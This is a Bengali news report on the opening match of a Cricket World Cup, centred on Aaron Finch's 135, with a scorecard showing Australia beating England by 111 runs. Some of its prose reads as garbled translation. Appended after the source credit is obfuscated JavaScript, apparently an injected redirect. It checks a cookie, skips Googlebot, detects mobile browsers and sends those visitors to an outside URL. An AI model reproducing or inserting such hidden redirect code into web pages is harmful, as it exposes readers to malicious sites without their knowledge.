ফিঞ্চের ডানায় উড়লো অস্ট্রেলিয়া

fff

নিজস্ব প্রতিবেদক :  অস্ট্রেলিয়ানদের উল্লাসে ভাসালেন ফিঞ্চ। তার ব্যাটিং শক্তি নিয়ে মনে হয় না নতুন করে ব্যাখ্যা করার। ইংলিশদের বিপক্ষে তার দানবীয় ব্যাটিং অস্ট্রেলিয়াকে শুরুতেই বড় স্কোর গড়ার পথ তৈরি করে দেয়। শেষ পর্যন্ত হয়েছেও তাই; ৯ উইকেটে অস্ট্রেলিয়ার সংগ্রহ ৩৪২ রান।
উদ্বোধনী ব্যাটসম্যান হিসাবে খেলতে নেমে অ্যারন ফিঞ্চ একাই করেছেন ১৩৫ রান। প্রথম সেঞ্চুরিয়ান হলেন চলতি বিশ্বকাপের। ১২৮ বলে ছিল তিন ছক্কা ও ১২ বাউন্ডারি। সেঞ্চুরিতে নাম লেখান ১০২ বলে ৯ বাউন্ডারি ও ২ ছক্কায়। ব্যাটিংয়ের শুরুতেই ইংলিশ বোলারদের বেসামাল করা ফিঞ্চ অর্ধশত রানের গন্ডি পার করেছেন ৪২ বলে ৪ বাউন্ডারিতে।
বিশ্বকাপের সূচনা ম্যাচে তার রাজকীয় ব্যাটিং মন ভরে দিয়েছে স্বাগতিকদের। তিনি নিজেও হয়ত জানতেন না উদ্বোধনী ম্যাচে কি করতে যাচ্ছেন। তিনি মুষ্টিবদ্ধ হাতে ক্রিজের কম্পনের কাছাকাছি দাঁড়িয়ে। মাঠে তখন চিৎকার। কিন্তু রাগে ততক্ষনে ব্যাট ভেঙ্গে ফেলেন। সব দিকে তাকিয়ে মাঠ থেকে ফিরে আসলেন। এ নিয়ে সত্যি আবেগের দরকার নেই। ষাট মিটারের মেলবোর্ন ক্রিকেট গ্রাউন্ড (এমসিজি) মাঠে একটি জাকজমকপূর্ণ মুখের বাউন্ডারি সীমানা তটস্থ। তিনি স্কোর বোর্ডে ছিলেন আউট। কিন্তু তখনো ছিলেন সবার মনের ভিতরে। এ্যারন ফিঞ্চ খেলেছিলেন, এ্যারন ফিঞ্চ ছিলেন চেতনায়।
এই অস্ট্রেলিয়ান ছিলেন একটি ছোট শহরের ছেলে। তিনি যখন কোলাক ওয়েস্টের হয়ে খেলতেন তখন তার খেলায় ছিলো না ব্যতিক্রমী কিছু। তার খেলায় ছিলো না পরিবর্তন। না, যখন এটা উচিত ছিলো কিংবা উচিত ছিলো না।

b079650bb5b0f41f45af4242794
ডেভিড ওয়ার্নার ছিলেন একজন গুহমানব। আর শেন ওয়াটশনকে নিয়ে ছিলো ধাধা। অন্যদিকে গ্ল্যান ম্যাক্সওয়েল খেলেছেন নিজের মতো করেই। দলের অন্যান্য বিগ হিটারদের মধ্যে কে যে কতো রান করলো, আর কে যে কখন আউট হলো তা মোটে খেয়াল নেই ফিঞ্চের। তিনি ঠিক ব্যাট করছেন। তিনি ছিলেন এক প্রকার গায়ক পাখির মতো। কিছু ক্ষেত্রে তিনি ছিলেন ধারনারও বাহিরে। কিন্তু এ সব কিছু তার শিল্পের জন্য যথেষ্ট নয়। তার কোন বিখ্যাত পৃষ্টপোষক নেই। ছিলো না বড় কোন অনুরাগীও। সে কেবল একজন আদমী (বেটা), যিনি কেবল বলের উপর আঘাতই করছেন।
যদিও সকালের সেশনে তার শুভক্ষন ছিলো, সম্ভবত দ্বিতীয় অথবা তৃতীয় স্লিপে ক্যাচ আউট থেকে বেচে যাওয়ায়। ঠিক তার পর থেকেই শুরু হয় তার ব্যাটিং তান্ডব। বোঝার কোন উপায় নাই যে সে এভাবেই সীমানা ছাড়িয়ে যাবে এবং তার একেকটি খোঁচা হবে রকেটের মতো। কিংবা ধারনারও বাহিরে ছিলো তাকে রান আউট হয়ে ফিরতে হবে অথবা ব্যর্থ হবেন। এতে তার চেহারায় আসেনি কোন পরিবর্তন।
এটা তার এক ধরনের ব্যক্তিত্ব,সব সময় একই থাকা। এই গল্পটির সূচনা মূলত গত বছর ইয়র্কশায়ারের প্রশিক্ষন ক্যাম্পে যোগদানের মধ্য দিয়ে। তাকে পরিচয় করিয়ে দেন তার কোচ এবং সহযোগী জ্যাশন গিলেস্পী।
তিনি কখনোই ব্যাট হাতে ঠক ঠক করতে পছন্দ করতেন না। সেটা শুরু কিংবা শেষের দিকেই হোক না কেন সব সময় মেরে খেলা তার পছন্দ। তিনি ঠিক নিজের মতো করেই ব্যাট করতেন, ঠিক যেন সন্ন্যাসী আঘাত।
যখন ফিঞ্চ বলের উপর আঘাত করেন অথবা তিনি মিস করেন, মাইক্রোসেকেন্ডেই শুরু হয়ে যায় প্রতিক্রিয়া। তারপর প্রত্যাবর্তন আসে তার স্বাভাবিক চেহারার। ফিঞ্চকে কখনোই তড়বড়ে অথবা চিন্তিত মনে হয়নি। মাঝেমধ্যে এলোমেলো হয়ে পড়তেন। কোলাকে কখনো তিনি কৃষি এবং খামারে সরঞ্জমাদি সরবরাহ করতেন। কিন্তু তিনি সর্বদা ছিলেন চমৎকার। তিনি অনায়াসে সোজা ড্রাইভ খেলেন,সোজা ছক্কাও মারতে পারেন অনায়াসে।
অস্ট্রেলিয়ান এই ওপেনারের গল্পটাই ছিলো বিশ্বকাপের উদ্বোধনী ম্যাচ ঘিরে। এখানেই ইংলিশদের বড় হারের সূত্রপাত। জবাবে খেলতে নেমে ইংল্যান্ড পারেনি বিশাল এই স্কোর তাড়া করে জয়ের বন্দরে পৌছাতে। ৮.১ ওভার হাতে থাকতেই তাদের সব কয়টি উইকেট ধ্বসে যায় অস্ট্রেলিয়ান বোলিংয়ে, মাত্র ২৩১ রানে। তবে ইংলিশরা হয়ত শেষ তাকিয়েছিলেন টেলরের সেঞ্চুরির দিকে। কিন্তু সেটাও হলো না। টেলর ৯৮ রানে অপরাজিত থেকেও সতীর্থদের ব্যর্থতায় বিফলে গেলো তা।

সংক্ষিপ্ত স্কোর
অস্ট্রেলিয়া : ৩৪২/৯ (৫০ ওভার; ওয়ার্নার ২২, ফিঞ্চ ১৩৫,বেইলি ৫৫, মাক্সওযেল ৬৬,মার্শ ২৩, হাডিন ৩১। ফিন ৫/৭১,ব্রড ২/৬৬।)
ইংল্যান্ড : ২৩১/১০(৪১.৫ ওভার ; বেল ৩৬,টেয়লর অপরাজিত ৯৮,ওয়াক্স ৩৭। মার্শ ৫/৩৩, স্টার্ক ২/৪৪, জনসন ২/৩৬)
ফলাফল : অস্ট্রেলিয়া ১১১ রানে জয়ী।
ম্যান অব দ্য ম্যাচ : অ্যারন ফিঞ্চ।

তথ্যসূত্র : ক্রিকইনফোvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}